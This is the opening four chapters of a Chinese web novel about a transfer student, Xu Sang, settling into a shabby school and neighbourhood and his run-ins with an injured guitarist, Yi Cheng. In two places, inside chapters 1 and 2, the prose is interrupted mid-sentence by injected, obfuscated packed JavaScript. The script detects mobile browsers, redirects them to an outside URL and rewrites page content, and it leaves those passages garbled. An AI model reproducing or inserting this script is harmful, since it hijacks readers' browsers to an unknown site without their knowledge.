《我比你更野》 1. 第1章 导航到一半,蓝色指向路线快给自己绕成一团毛线时,日头落了下来。 “您已偏航,请确认行进方向。” 在两声短促的提示下,许桑有些烦躁地摁灭手机屏幕,停了步子倚在路口。 扫视一圈。 夕阳西下,云天间却吞吐不出什么浪漫的橘红,只有鱼鳞片片的灰白。 这里不比之前住的地方,破旧得像是灾后地:矮楼老化程度高,灰土色,风格陈旧。 手心突然一震,许桑低眸,接听电话: “许桑,你死哪去了?这都六点半,太阳都黑了,还没回来,走什么路能走这么久?还是说,你躲哪儿去哭了?” 将音量连着往下按,许桑歪头,将手机往外支了些,没回答。 那头片秒时间没留,柠檬味酸唧唧的口音吐出:“早知今日,又何必当初呢?敢打小降,以为做梦呢?白日梦都没这么大胆!现在被扔到穷乡僻壤,才知道怕,你——” 捅废话娄子了废话这么多。 拧眉,彻底没了耐心,许桑指头一转,手机凌空转了圈,他摁下关机,又单手给行李箱转了个向,往回走。 比起家,学校更好找。 陌生人很难告诉你你家在哪,但能清楚告诉你:学校往哪走。 从坑坑洼洼走到正道,也费了不少时间。 以至于,许桑立在办公室里时,四面空无一人。 领他进来的保安大叔笑着抠脑袋,“听这要死不活的声儿,估计上课有一会了。你先搁这坐会,慢慢等吧。” 许桑“嗯”了一声,手搭着行李箱,将办公室打量了一圈: 空间小而暗,整体脏乱差。几盆绿植分桌放,黄的黄,死的死。 “你不是本地的吧?”保安大叔随便挑了个地儿,用手拍了两下灰,就一屁股坐下去。 从成摞的练习册间挪开眼,许桑应道:“不是。” “看得出来。”保安大叔上下挑眼:“瞧你这身,还怪贵气。” 许桑垂眼,扫了眼自己稀松平常的白T加黑长裤,没忍住一问:“贵气?” 跟着他的视线跑了一转,保安连忙摇头,“我是说气质,长相……哪是穿着嘛,那衣服裤子什么的,要是少二两肉穿都差不多!” 许桑莫名笑了一声,“……谢谢啊。” 下课铃响时,楼里躁动了几秒——像汽车没油前最后的抽搐,不久,沉下去了。 许桑正看着某个办公桌上挂着的毛笔字——“吃好睡好身体好”,大敞的门被指关节扣了两下,紧接着,厚实的笑声机关枪似的就一串串突突出来了。 他偏过头,四目相对的那刻,笑声戛然而止。 “比我个老师还先下课?这位同学,逃课往办公室里逃。”徐富将保温杯的盖子拧上,拧了两转,挺着滚圆的肚子,不紧不慢地猫着步走进来,“胆儿挺肥啊!” “……”许桑往旁边挪了一步,给人移开道。 椅子质量不好,坐下去垫子就凹没了;一层外皮褪得七七八八,像一屁股坐扁的巧克力派。 不过,人坐下来,气势端住了。 徐富齐整地把书放进一堆乱七八糟里,将冷了不知道几节课的茶水捧起来,嘬一口,优雅:“你是哪个?” 这种气质,皇帝不急自己急的那类太监……许桑下意识评点。 “新转来的那个吧。”角落里,刚将脚趾对准一字拖的保安抬头,“活该当了这么多年班主任,一点儿眼力都没长。” “我又不当保安,要眼力干嘛?”徐富利索把嘴炮打回去,全然忽视了眼前站着个学生。 保安腾地要站起来,正欲开口,铁门忽地被锤开。 大红色风衣裹着个中年发福的女人,走进来一步,脚下的高跟鞋就呲溜一转,“砰”地一声将门踢上。 尖利的女高音悬在头顶: “这年头,保安都能进办公室坐着了?我说这些学生一坨烂泥根源在哪呢,原来,上梁不正下梁歪!” 许桑淡淡瞥了她一眼: 尽是些奇葩……这办公室,多少有点前科吧? “……”空气中飘过短暂的沉默。 女人见声没滴个响儿,炸成爆米花的头发一甩,踢步往最里间的办公桌走——不料高跟有点傲气,踩进作业本都不肯挪下地。 她硬拔了一下,作业本坍塌倒下的瞬间,嗓子眼里挤出一声:“啊!” 摔了。 还摔了个狗吃屎。 “呃……”徐富将水杯缓缓放下,尬笑了句:“有时候,下梁还是比上梁先歪的。” 那头,高跟鞋往地上一跺,似砸得整栋楼都跟着哆嗦了一下,“你他娘的也只会阴阳怪气了。” 保安徐贵抠了下脑袋,踏着他那双不太合脚的一字拖,蹑手蹑脚地溜了出去。 擦过许桑时,小声说了句“活该。” 许桑默声:“……” 短暂安静后,徐富用早已习惯的表情叹了声气,抬头,清完嗓子,问:“新同学,你叫什么来着?” “许桑。” “哦。”徐富低头,从资料堆里刨出一张贴了照片的纸,捻着右上角看了几眼,“说说吧,高三这个节骨眼儿上,为什么突然要转学?” 几米之距,那头传来不容忽视的“欻欻”声:就那种普通签字笔,被牵着脑袋,使出毕生力气与纸张誓死搏斗的死烂动静。 许桑忽地一笑: 多神经一地啊。 “笑什么?”徐富将纸往桌上一摊,“这么想转学啊!还是我让你这么满意!” “没。” 许桑收了笑,朝那张资料卡迅速扫了一眼,一晃,停留在“备注”那栏,上面,浅色宋体明白备注着:“最好能进最差的班”。 他语气淡了不少,问道:“分班标准是?” “成绩呗,不然呢。”徐富被问惯了,顺嘴就来:“以为捐栋楼就能进好班啊?就我们这屁大点儿地,想建也建不成嘛。” 闻声,许桑哽住:“嗯,我在哪班?” “我翻过你之前的成绩,非常不错。”徐富宽慰地边说边点头,“要是没捞进我理一班,那我肯定傻得没边、该跟猪混了。” 话听着怪怪的,但听到一班时,许桑恍惚了一瞬,接道:“谢了。” “谢?!”徐富腾地往上一立,“不用谢。我又不当圣母,还非常有底线有原则,绝不造福尾班那群二百五。” 师德残存,他飞速补充:“二百五十分那伙人。” “再说了,好苗子,自然需要好园丁。要真给你丢后面班,腐烂了肥料都做不成——因为有毒。” 这拉踩……许桑没应声。 “对了,我介绍一下我自己。” 许桑这才吱声:“嗯。” “我叫徐富。之前教物理的,现在发现真爱还是数学,就来教数学,兼任理一班班主任。别叫我老师,除非数学好,不下140的那种好。” 他想了想,“平时叫我老徐就行,比较显师生关系。其他的,就没什么好说的了。等会跟我进班上,简单打个照面就行,免得你尴尬。” “嗯。” 许桑觉得,可能几年后,他对这班主任,印象都不是一般的深。 理一班门口。 抱着摞半身高的书,陈慢踢了脚门,有些绣化的老门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069696|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哇呀”尖叫了一声。 “我操!” 第一排靠中,正猫腰把脑袋塞抽屉里的人浑身一抽,哐当一声撞上桌底板! 砸得闹腾成菜市场的教室瞬间安静如鸡。 刚把“安静”挂在嘴边,瞧这阵仗,陈慢用手艰难给人竖了个大拇指。 男生惊魂未定,“陈班,咋了?” “老徐来了!”陈慢翻了几册作业本,甩给第一排后,八卦道:“还带了个人,天黑没看清脸,不过高高瘦瘦的,挺养眼。” “养眼?什么意思,是个帅的吗?” “我靠,哪个转学生他妈晚自习来啊,不会是鬼化身的吧?” “不是,这死鬼,变鬼了还想学习?逻辑不通啊。” “什么,来人了?害,真不长眼啊,来这学校!” “长眼了不还是来了这学校…” 没等讨论大肆蔓延,耳朵尖的陈慢一听到门外动静,连忙竖起食指说了声“嘘”。 眨眼工夫,比逃生演习还“上头”的一群人,匆匆拿笔抱书,温顺得像窝刚出壳的嫩鸡仔。 徐富领着人,往讲台上一站。 台下才收住的叽叽喳喳,就跟开闸了的水一样,奔洪似的放开了。 飞速分完作业本,陈慢回了位置。 “之前咋没觉得讲台挺有派头……长得帅的人是不一样哈。”吕丁捧着脸,叹道。 陈慢故作深沉地半摇头,“人嘛。” “长得帅?谁定的标准?”埋头死磕完压轴物理题,赵鸿途一边伸懒腰一边抬头。 才看了一眼,懒腰还伸在后面,脑袋就前倾,嘴里“我操.我操”个不停。 激动得泡沫星子清仓大甩卖:“长得还真挺帅!” “……”陈慢“剐”了他一眼,顺带习惯性地抽出他刚写满了的卷子,嗤笑一句:“呵,谁定的标准?” “你再说一句,卷子不给你抄了!”赵鸿途眼见就要拽卷子。 “啊,我不说了不说了。”陈慢能屈能伸,谄媚地笑着攀开他的手,把试卷“端”到桌面上,搓手拿笔。 “安静安静!” 徐富用余光瞥了一眼许桑,办公室晕头巴脑的,刚才又被学生打了岔,他都没来得及仔细观察这个新同学。 此时一看,才发觉:这人长得还真不太规矩,一看就是那种“喊一声,跑一操场同学”的长相… 想着他瞪圆了眼,本来只想让人简单说个名字便罢,但想到之后理一班的管理难度噌噌噌地上涨,突然邪念作祟: “来吧,新同学,复杂地自我介绍一下。” “……”许桑凝了一下,“许桑,言午许,三又木桑。” “搁这玩儿说文解字呢!” “他的声音好好听啊,耳朵都给我听舒服了…不过,他刚说什么来着?” “这复杂吗?咱这不是理科班,高低得来点集合啊!” “集合复杂个锤子!” 徐富貌似也在思考这句话的复杂性,得出结论后脑袋顶抽了一下。 本还想听他的后续,结果看人就规规矩矩站在一旁,徐富疑惑:“没了?” 许桑:“还要什么?” 被噎了一下,徐富正想解释一句什么叫“复杂”,台下就闹出一阵雷鸣般的掌声,尤其几声尖锐的汽笛巴掌音。 耳朵差点给他震聋了。 “算了算了。”徐富将这一大窝子人看了几眼,“后面有张空桌子,陈慢帮忙搬一下。后排刚好空一位,你个儿高,不愁看不见黑板,将就坐。” 还没等许桑点头应下,底下又是一阵唏嘘。 其中,不乏倒吸凉气的。 2. 第2章 “好了,这么久该稀奇够了。”徐富抬头看了眼墙上的挂钟,“应学校要求,等会安静看一则交通安全的短片。” 勾了下书包带子,许桑往后排走,手刚搭上桌子,身旁便蹿出个人影,头劲赛斗牛。 “……”好在撤手及时,不然手臂至少是被撞麻的程度。 “后排把灯关一下,这么白瞎瞎一片,放了跟没放一样。”徐富负手转到门口,侧脑袋往幻灯片上看了眼,无奈道。 窗帘盖得严严实实的,此时灯一灭,加上已经八点出头,教室里暗下一片,引起一阵有的没的。 “同学,你先等我一下。” 陈慢站他身前,说完,麻溜地弯腰,把桌肚里私藏的什么游戏机什么杂志全掏出来,随便扯了一把卫生纸擦桌面。 顺带在忽暗忽亮的空间里,贼里贼气地,把这些所谓禁品尽数转移阵地。 许桑看清他的动作,微顿: 刚一堆倒吸气的,担心这桌子呢。 “哎哟我靠。”抹了一把汗,陈慢拉开座椅,“终于弄完了。你坐你坐。” 许桑颔首:“谢谢。” “啊,不用谢不用谢,这是我该做的。”陈慢扶了扶腰,想想伸出手,“你好你好,我是班长陈慢,座右铭:为人民服务!” 许桑回握一秒,“你好。” 他停顿了下,补充:“没有座右铭。” “……没事,没事,慢慢就有了。”陈慢咧嘴收手,往后退了一步,就从桌椅缝里挤回原位。 短片挺有意思的,就是不适合看。 打码职业人,讲两句,就放一则严重打码的交通事故,而后二倍速机械女声科普,继续放。 看着人一个个地在二轮三轮四轮面前脆弱成断线风筝……实话说,情绪价值给的很足。 许桑简单整理了下桌面,往旁边扫了一眼。 桌面白白净净一片,除却那一层薄薄的灰,只留了一张被“缺胳膊少腿儿”的橡皮压着的白纸,上面写了仨字:“检讨书”,另外还印着几个墨团。 桌肚里塞满了书,比一般人的要整齐些。换种角度,估计是太久没人使用过。 挺好。 许桑评价一句,将新领的书尽数取出,借着短片映出来的白蓝色光,翻了几页。 下课铃声响了有一阵,“短”片才播完。 开灯的那刻,尿急的撒腿儿就没影了; 教室也不装了,摊牌成菜市场,有模有样的“市人”嚎嗓叫卖自己的独家八卦。 面前忽地落下两道黑影——前面两桌齐齐转身,视线的落脚点在许桑。 两笔勾完名字,许桑抬头:“有事?” “欢迎来到理一班,我是吕丁,‘狗咬吕洞宾’的吕,目不识丁的丁。” “我是赵鸿途,嗯,鸿途的鸿,路途的途。” 许桑另抽出本新书,微点头,“嗯。” “嗯……”吕丁顿了一下,开怀道:“这班里,就没有我吕丁不知道的事儿。你初来乍到,有什么想问的吗?” 许桑翻到目录页:“没有。” “啊?”刚将班上人名编成一段昂扬的rap,还顺带将老师性格梳理了一通,突然听到这么个回答,吕丁震了一下,“没有吗?” 许桑向上看了他一眼,忽地想起困扰他良久且乱七八糟的导航路线,问:“我家在哪儿?” “……”吕丁瞳孔一缩,“我靠!好问题。” 一旁的赵鸿途也跟着一惊,“头回遇到,哥们,你比易哥还能噎人啊!” 易哥? 许桑愣了一下,没等疑惑化开,上课铃又响了,比鬼畜音乐还雷的铃声格外吵人。 …… 南城附中比之前学校放学更早,晚自习九点半就结束。 放晚的铃声一响,跟野猪一样,半个班的人就拱出去、没影了。 吕丁背上重得肉眼可见的书包,刚奔出去两步,又弹了回来: “哦,对了,同学。如果真的找不到家的话,你可以去保安室凑合一晚上,易哥亲证,暖和又安全。” 话撂下,没等许桑作出反应,人就一溜烟儿跑远了。 许桑挎上书包,在门口推上行李箱时,莫名又笑了一声。 出校门,他就近打了个黑车。 司机在他导航的提示下慢吞吞地挪动,绕半个小时,最终绕到一条无名巷子时,垂下脑袋砸方向盘,半天憋出一句,“我日,这都哪跟哪啊?” 许桑看了眼手机,先前预计十五分钟到达,现在显示预计四十五分钟到达:“……” “小伙子,不好意思啊,属于是专业盲区,这带的路我也不太熟。”司机从内后视镜看过来,“要不,我只收你五块钱的油费,你再找其他车?” 没等许桑说句是与不是,司机就一溜烟冲下车,恭敬地拉开车门,还双臂一晃一交叉,比了个“请”的姿势。 许桑无语了一瞬,熟练地从兜里摸出一把钢镚儿。塞给他时,将后头的行李箱捞了出来。 司机摸着这一把,跟被雷劈了似的,身子晃了一下。 手指拨着数完,他惊讶于刚好五块时,还不忘从牙缝儿里挤出个“谢谢”。 黑车疾驰而去,许桑倚在路口,看着即将告罄的手机电量,脑子里忽然闪过放学时吕丁说的话,手指往上一滑,将目的地改成了“南城附中”。 那就认命呗…… 破命住破地,阎王爷都蹦起来说合适。 顺着提示音一路走,只觉秋风瑟瑟。 每隔一段距离,会有两盏要亮不亮、或是半天熄着一瞬亮着的路灯,灯罩上裹满了灰土,光线一度昏黄。 连个灯泡都半死不活。 许桑拢了拢外套,在呼呼吹不停的夜风里,目睹着“电量过低”的警告,就近停靠在路灯下,蹲着将行李箱打开。 里面装得东西并不多。一半书,杂七杂八各类都有;一半贴身衣服……袜子摸出来了,都没摸到充电宝。 他一般也没这么冒失,但这次,实在没料到路线能复杂成这鬼样子。 叹了口气,他拉上拉链,拖着行李箱,不得以打通了备注为“张姨”的电话。 铃声悬着响了很久,才被接通,睡意覆裹的声音带着怨气:“哪个神经病,半夜打电话!” 许桑顿了一下,“我是许桑。” 那头静了一下,才继续:“许桑?你还没回去呢?” “没。” “找不到路就去导航,导航看不明白就去问人,南城那么大一个城,又不是鬼城,不可能没人的。另外,我已经回家了,你的一日三餐呢,之后就由那个新来的刘芳负责,进门先认人,别稀里糊涂就把人当贼轰出去了。就这样,挂了,大晚上的还让不让人睡——” 聊天戛然而止,许桑低眸,静静看着电量到1%,然后跳出提示“注意:电量耗尽,手机将在30秒后关闭。” 大半夜的,他跟个神经病似的,在路灯的频闪下,笑了一声。 张姨说得其实蛮在理的,南城不是座鬼城。 但问题是,被黑车这么一折腾,这里还他妈是不是南城都难说。 当然,就导航来看:还是。 入夜的风,大概途经过冰窖,张着血盆大口,在狭窄的深巷里被三五倍放大,吹得体感温度直线下滑,有种下一秒就要冻死过去的错觉。 许桑将外套又扯紧了些,用脚推着时不时“娇弱”倒下的行李箱,叹气。 一条路,并不康庄,反倒挺鸡肠的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069697|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 走到公交车站台,许桑细细研究了一番——有个跟要去的小区重名的站点,“朝昏站”,离这儿只两站距离。 “啧。”许桑仰头,看了眼头顶昏昏欲死的月亮,把准方向时,心下一松。 直到,拐过一条直道。 ——鬼魂一缕儿似的,飘出几声连贯的……乐器声? 半晚上,立在他的必经之路上,这鬼动静还怪骇人的。 他捞了一下被“吓”得往下滑的书包带,就着临近的墙壁靠了过去,远远往那头看了眼。 光线过于模糊,加上飘起的雾气,前方模糊得像是十几年前的老手机像素下的成片。 不过,还是依稀能辨清楚身形:蛮高的。 帽子遮掩下的下半张脸还挺凌厉,隔老远都能感受到压迫感。这人正倚着墙,手上把着把……吉他,而随意支出去的长腿极富存在感。 单是弹着,没唱。 他听的歌少,一时间没反应过来是哪首,只觉得曲调温温柔柔的,还带点儿化不开的忧郁与悲伤。 乐声在变淡,像是迫近了尾曲。 主观确认不是什么地痞流氓,许桑用脚勾了下行李箱,顺着道往前走。 经过人时,曲音顿了一下,蓦地停了。 几乎是瞬间,空气被黏住似的,锢锁着一股淡淡的紧张感。 而不知从何处,飘来一股铁锈味。 许桑指尖轻动,没来由地侧过脸,将人草草看了眼。 只是,还没看清什么,吉他落地带出点儿声响,眼前的人迅疾两步上前,刹那间,他的脖颈被厉劲钳住,与之同时,耳边落下一声——“这么穷追不舍啊?” 许桑:“……嗯?” 距离被猛地拉近,许桑被迫收回迈出的脚,本能地曲腿迎击。趁着对方闪躲,手肘硬生生撞开他的“钳制”,但不成,被反手扣住。 悄然空出手来,易承摁住他肩,往后一压。 正欲用力时忽觉不对,抵紧他侧颈的手,力道轻了许多,他微挑眉毛:“你谁?” 腿被压着,应该是一天没吃饭的缘故,使不上劲儿挣脱。 好不容易才被捂暖的脖子,被对方冷手一碰,许桑打了个寒战。阴着找时机时,他骂道:“你大爷!” 骂完,他手指绷紧,挑着脆弱处,用力一拳。侧身往后一挣,正欲踹向人要害,鼻尖轻耸,那股算得上浓郁的血腥味儿灌进嗅觉器官,他一怔,留意到对方没还手时,跟着退出一步,撤手收了势。 有伤,还伤不轻… 先松了人,易承暗暗缓了呼吸,重新倚回墙上。 离得近了,光线的问题就小多了。 许桑抬眸看人: 暗色勾勒出优越的下颌线,以及分明的脖颈线条起伏……看他时,一不留神会撞进他的眼瞳,初初一眼,令人发怵;到第二眼时,才会留意到好看的眼部形状。 就是冷了些,混着时不时耸动的血腥气,让人不禁后退一步。 手在兜里捞了两下,掏出一把糖,易承轻声: “不好意思,认错人了。” 呼吸缓缓平顺下来,许桑垂眼,“这是什么?” “糖。” “……”许桑拨了两下,从溢出来的甜腻味儿里初步判断是草莓味,蹙眉:“诚意就值一毛啊?” 易承轻笑了声,手指灵活拨开糖纸,往嘴里塞了颗糖,笑道:“那要什么?” 仰头是黯淡的星光点点,许桑脑子一抽,轻扬下巴,隔空点了下吉他,“给我弹一曲。” 易承身子倏然滞顿:“嗯?” 目光从他腰侧掠过,许桑理好凌乱的襟口,顺带从他手心里摸了两颗非草莓口味的糖,说: “伤好了再说,先欠着。” 3. 第3章 循着公交站点,许桑还算顺利地摸到了回家的路。 上了五楼,刚想掏出钥匙,门就被推开。 一个陌生中年女人,身上挂着件深红色围裙。 眼窝深深凹陷,混着黑眼圈和泛老的褶皱,身形偏胖,但脸部颧骨异常突出。松弛的皮,拉扯出一个勉强但热情的微笑:“你就是许桑吧?” 许桑往后一退,看了眼门牌号,不解地看着她:“您是?” “我叫刘芳,本地人。今下午我来应聘的,应上了,张姐就让我来照顾你,说做做饭打扫卫生什么的。” 死去的通话记忆复苏,许桑想起手机关机前的那通电话,了然,“辛苦刘姨。” “不辛苦不辛苦。”刘芳双手攥着围裙,时不时揉搓两下。 将门带上后,许桑就近给手机充好电,余光瞥到表上时间“11点31分”,他偏头:“刘姨,不早了,您早些回去休息。” “诶,好。”刘芳应了一声,就弯腰,将围裙脱了下来,搭在一旁的架子上时,往这边走了两步,局促问道: “孩子,张姐没跟我说,你几点上学几点放学啊?中午要回来吃吗?我好叫你起床和准备饭菜。” 许桑轻顿,勾过一旁的书包,翻出张作息表,递给她。 刘芳上前两步,双手捧过表,揉了两把眼睛,低头凑近了看,嘴里嘟囔着词儿,好半天才直起腰,“好,我记住了。” “嗯。”许桑席地而坐,也扫了眼时间表,没由头地问了句,“刘姨,她给你工资多少?” “一月两千。”刘芳搓着手,“怎么了吗?” 许桑:“没。” “好。那我就先回去了,你也早点儿休息,总熬夜对身体不好。” “好。”许桑笑了下。 门被轻轻关上时,他挑眉:工资跌价比他想的多。 张姨一手算盘也是打得响。 等手机充电的工夫,许桑把行李箱腾空,收叠的时候,顺便将房间巡了一遍: 简单的两室一厅,风格装饰比较零碎。或者更现实的说,没有风格,只有家具的生硬拼凑。 遛了自己大半个晚上,这带的经济发展水平也是可见一斑——较之先前,天上地下吧。 洗晒好校服,叠完被套,他脱了衣服,将衣兜里的钥匙糖什么的一并放到书桌上,随便勾了件睡衣,进浴室迅速地洗了个澡。 洗完,他裹着一身热气,立在镜子前。 头发吹干后,微仰头,指尖摩挲过还带点儿红印子的脖颈,敛眉。 疼是真疼……那人力气还不小。受伤都压不住的劲儿。 许桑叹了口气,擦了些药膏,冰凉攀上肌肤时,脑中又浮现起那人的模样。 他歪头: 挺野一人。 转身回房上床,他将窗户大打开,瘫床上,用被子把自己蒙了个严严实实后,陷入死沉死沉的梦乡。 凌晨五点半,门铃小心翼翼地叫魂。 掀了被子,许桑有些麻,冒黑蹬了四脚才蹬进拖鞋,他起身,神经并不清醒,脑袋悬乎地去开门。 “孩子。”刘芳笑得很勉强,一手攥着衣摆,背部有些蜷曲地走了进来。 “昨天忘拿钥匙了。不好意思啊,这么早把你弄醒。你继续睡,我去给你准备早餐,晚些饭点再叫你。” “嗯。”许桑应了一声,走到临近柜台上,捞了个钥匙串儿,塞到了人手里。 哈欠打完,他平静说道:“今天周六。” “哦,哦。”刘芳手足无措地接过钥匙,揣进兜里:“那我先去准备饭菜了。温着,等你醒了再吃吧。” 天色还早,客厅连着半开的窗,不停地灌风,吹两分钟人就清醒得不能再清醒了。 自进门见到这位刘姨起,许桑很难不留意到她有些过于低的姿态。 可能骨子里见不得软人,他两步跟人进了厨房,玩笑问道:“刘姨,您怕我吗?” “啊,没有,没有。”刘芳舀米的手一停,连忙站了起来。 许桑顿了一下: 这微动作明显的……给他降难度呢。 他随性开口,“刘姨,别太把我当回事。两千决定权跨了几个省,我不占权重。” 刘姨怔怔看着他,躲闪的眼神定住,半晌,回道:“好。” 许桑转身回房间,踢了拖鞋往床上一躺,反倒没了睡意。 洗漱后,他往书桌前一坐,翻出薄薄的两张试卷,没忍住叹了句:“周末作业这么少”,捏起旁边的黑笔,就凝神开始算题。 说起来,他还逃了两个月的学。“开学”时,国庆假都放完了。 今天夏天,过分火热,给人一种感觉——“全球变暖”不是盖的。 连着月余的高温,晒得人都蔫成肉干;而相应的,听说今年冬天有的冷,单论这秋分后的一阵降温,就够要命了。 许桑扫了眼数学卷的压轴题,随便在草稿纸上画了两笔,最后一小问答案就出来了。 嗯? 他给试卷翻了个面儿,看了眼黑体大字:“南城附中高二下期第二次月考模拟试题”。 “……” 耐心地将选择、填空的后几道题看完,许桑轻挑眉毛,抽出另一张,几乎雷同的标题,结尾依旧是“模拟试题”。 这水平欠的,照顾谁家傻宝贝呢…… 三分钟不到,磨灭了他刷类似卷子的全部欲望。 许桑按了下太阳穴,弯身抽出本从故校顺走的资料书,浏览半圈后,聊有兴致地刷了起来。 恒定的早上六点半的闹钟响时,他转了圈笔,看书一样看完答案页,趿拉上拖鞋往外走。 隔着厨房门,能闻到些许香气,米味蛮浓的,配着点鲜菜叶香;油炸后味道重,裹着脆生生的腻劲。 “这么早就起来了啊?”挽弯半截儿围裙,刘芳擦了遍手,走出来时惊了一跳,“我还说让你多睡会儿呢。” “睡多了犯傻。”许桑斜倚着墙,往锅里看了眼,问:“这是什么?” “菜叶稀饭,和面粉煎了些饼,也不知道你吃不吃得惯。” 早上吃重油的……许桑也不能确定自己吃不吃得惯,随便应付过去,就帮忙端了饭上桌。 “我还从家里带了点泡菜,要是不嫌弃的话,可以用来下饭。”刘芳抠着小罐子,打开后推到桌子正中央,言行都自然不少。“胡萝卜营养高,泡了之后是脆的。我家丫头就比较喜欢吃,不知道你喜不喜欢。” 罐子口溢出些气味,闻着酸也咸。 许桑夹上一筷子,咬了口,嘎嘣脆,生甜夹在泡坛的盐味里,他随即舀了口稀饭。意外地感觉还行,“挺喜欢的。” “喜欢就好。”刘芳会心一笑,“好吃就多吃点,正是长身体的时候,一日三餐都要吃好,营养跟上,才长得快。” 许桑笑了笑,“好。” 怪怪的,距离上次听到这种话,好像隔了一个世纪那么远。 吃完饭,许桑做了近一小时的作业。 口渴,出门寻水时,见刘芳正坐在地上,用小块青黑色抹布擦着地,很用力,上半身几乎都贴到地面上。 还没多久,屋内翻了两倍新,不夸张。 “刘姨。”许桑倒了两杯水,端到她面前,“不是有拖把?” “啊,谢谢啊。”刘芳从地上坐起来,捧着水杯喝了口,说:“我拖过几遍了,这里一直弄不干净,就单独弄一下。孩子,你中饭想吃什么?姨去买菜。” “都行。有卖水果的吗?”许桑靠上沙发,咽了几口水。 “有啊。就在楼下,不远,菜啊水果都卖的,新鲜,价格也合适。”刘芳看了眼时间,“我看你学挺久了。要不下去转转,休息一下眼睛?听张姐说,你第一次来这儿,也刚好多熟悉一下周围环境。” “行。”许桑点头。 八点之后的天,放亮了,但温度还没高起来。 光亮起来后,这里街道布局的错综就更明目张胆了。老旧感扑面而来,光是看着就被这蒙尘感逼得主观想打喷嚏。 许桑跟人穿街过巷,比起一个人跟无头苍蝇一样走,轻松自在多了。 甚至还妄图东张西望着将一砖一墙都印进脑海,可似乎拐个路口,就全忘光了。 索性不再管,走着玩儿。看看沿途不算风景的风景,听听震破耳膜的叫卖声,也不算是……无聊。 “好久不见啊,刘姐!终于过来买菜了,来,我给你挑几把好的。”一个花色背心的中年女人,一旁的木板凳上搭着一件厚外套,“绝对新鲜!” 还没来得及看一眼她推销的东西什么货色,身后,鸟笼翻了一样叽叽喳喳闹腾起来,接二连三的,喊着: “刘姐……菜!” “刘妹儿……豆腐!” “刘姨……肉!” “刘妈……鱼”。 处在路□□汇处,声音聚在一起,炮仗一样刺耳。 许桑别了下脑袋,要耳鸣的前夕,往 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话烧耳朵似的,许桑颤了一下,才从呆滞中回神,隐隐骂了句脏话,跟上人不管方向地跑。 身后还响着各式各样的瓶瓶罐罐撞墙声,偶尔还有石块擦过脚踝的错觉。 许桑有些烦躁,被拽着跑了不知道多久,那帮人的叫嚣声才落低。 易承听了一耳朵身后的动静,低眸时,右手上移,将人往一旁被木材堆满到略显逼仄的小巷里带。 没料到人突然拐道,许桑步子一乱,没稳准,偏了些要跪下去的前一秒,肩侧被按住,随后整个人被“捞”住,反应过来时,他大松了口气。 木材堆这儿不知道多久了,可能主人都把它忘到了十万八千里之外。 腐朽了不少,像生了霉般散出些不算好闻的味道——像粪堆里堆出的“肥料”,被风带得在整条短而窄的巷子里飞窜。 易承熟练地拨了几根宽木材,里头的光线立马暗下来。 “不是,人呢,怎么又不见了?” “易承这崽子是会变魔术吗?怎么每次都逮不到,这次又是影儿都没看到!” “看吧,我说了,人压根儿就不是往这个方向来的,你们就是不信,现在好了,人又没追到……” “滚犊子!你他妈闭嘴,马后炮顶个屁!” 闻声,许桑拱了拱,手指捻上外套,往上一挑,没挑动,扯了两下,才发现脑袋靠墙时,压着外套了。 低眼,光线不比刚才,但停在他腿边的两条直又长的腿轮廓清晰。 也是这一刻,外头抠了半天头皮、洒了一地头皮屑的人群打了退堂鼓。 易承伸手,绕到他脑后,抽出外套时,手心迅疾而精准地拖住了他后脑勺。 视线瞬间明晰,许桑晃了下眼,看清近在咫尺的脸时,脑中浮现起昨夜的路边。 肌肉记忆一样,颈侧忽地微微发热,他顿了片刻,感受着脑后的温热,问:“怎么又是你?” 情急的缘故,两人靠得过分近了……易承能感受到他呼吸喷落在自己脸侧,还能嗅到些许木材腐味之外的淡香,喉头轻滚,“新来的?” 人均数据库吗?了解这么多……许桑眨眼:“嗯?” “一般人不走这。”易承抽回手,往后退了一步。 确定那帮傻帽没有再跑回来的可能,易承又轻巧地将木材堆回去。 巷子间,又落回光线。 许桑木了两下,回味一遍刘姨给的指示——“往前走,右转”,他应该是没走错。 哦,十字路口,忘问哪边的前了。 回神,他别过头,稍显无奈地叹气,“走错了。” “……”易承愣了一下,目光落在他颈侧,那儿还留着几道薄红色的指印,停了有几秒,他挑眉:“昨晚也是?” 还是头遭这么明目张胆地被盯着,许桑莫名有些燥,伸手抹了道脖子,“嗯。” “啧。”易承往后靠着墙,细致地描着人。 眼前的人,长相精致,气质出尘。赛玉的肤质,白得有些病态,而眉眼间自带着种疏离感,像是天生宣告着:“别靠近,滚边儿去”。 偏生不太识路……果然人不可貌相。易承指尖微动,“我送你回去?” 许桑巴不得,应声:“嗯。” 4. 第4章 这带,名唤“朝昏区”,下辖的大多是无名路,除了一条弯曲得不算厉害的主路“朝昏路”。 想必导航都少有参照物…… 原生态占比大,部分建筑还保留着上世纪的老旧房式。 而长在门口的老树,随便揪一棵出来,白毛老爷子上前都要喊声“祖宗”。 “去哪?”易承看着前面两步之隔的人,没反应过来。 新来的不识路他理解,有点“路痴”属性他也理解; 这种既没路感,又不认路,还踩了风火轮一样在前面走路带风的,算怎么个事? 许桑表明目的:“买点水果。” 易承三两步跨上前,跟人并肩,“那巧了。” “巧什么?”许桑缓了些步子。 易承一步跨到他身前,许桑被迫停步。 他将黑色工作服底端捻着,露出金丝线绣出的几个艺术字样——“一个水果店”。 许桑低眸,扫过那几个字时,脑子反应有些慢。 